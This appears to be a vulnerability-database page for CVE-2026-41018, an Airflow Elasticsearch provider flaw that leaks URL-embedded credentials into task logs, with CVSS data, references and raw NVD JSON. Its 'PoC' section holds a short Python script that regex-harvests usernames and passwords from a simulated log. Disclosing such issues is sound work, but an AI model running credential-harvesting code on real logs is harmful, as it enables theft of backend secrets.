Security Vulnerability Report
中文
CVE-2026-41018 CVSS 6.5 MEDIUM

CVE-2026-41018

Published: 2026-05-11 09:16:26
Last Modified: 2026-05-11 14:16:31

Description

The Elasticsearch logging provider, when configured with a `host` URL that embeds credentials (for example `https://user:[email protected]:9200`), wrote the full host URL — including the embedded credentials — into task logs. Any user with task-log read permission could harvest the backend credentials. Users are advised to upgrade to `apache-airflow-providers-elasticsearch` 6.5.3 or later and, as a defense-in-depth measure, configure the backend credentials via a secret backend rather than embedding them in the `[elasticsearch] host` URL.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

apache-airflow-providers-elasticsearch < 6.5.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Vulnerable Configuration Example (airflow.cfg) # [elasticsearch] # host = https://admin:[email protected]:9200 # Exploit Script: Simulating an attacker parsing leaked logs import re # Simulated log content containing the leaked credentials leaked_log = """ [2026-05-11 10:00:00,000] {base_task.py:123} INFO - Elasticsearch connection established to https://admin:[email protected]:9200 [2026-05-11 10:00:01,000] {base_task.py:145} INFO - Log entry received. """ # Regex pattern to extract username and password from URL c pattern = r"https?://([^:]+):([^@]+)@" matches = re.findall(pattern, leaked_log) if matches: for username, password in matches: print(f"[+] Credentials found in logs!") print(f" Username: {username}") print(f" Password: {password}") else: print("[-] No credentials found in logs.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41018", "sourceIdentifier": "[email protected]", "published": "2026-05-11T09:16:25.990", "lastModified": "2026-05-11T14:16:31.053", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Elasticsearch logging provider, when configured with a `host` URL that embeds credentials (for example `https://user:[email protected]:9200`), wrote the full host URL — including the embedded credentials — into task logs. Any user with task-log read permission could harvest the backend credentials. Users are advised to upgrade to `apache-airflow-providers-elasticsearch` 6.5.3 or later and, as a defense-in-depth measure, configure the backend credentials via a secret backend rather than embedding them in the `[elasticsearch] host` URL."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-532"}]}], "references": [{"url": "https://github.com/apache/airflow/pull/65349", "source": "[email protected]"}, {"url": "https://lists.apache.org/thread/wz5l58drprmwlv6jxnq466x24jqbbhp7", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/10/3", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}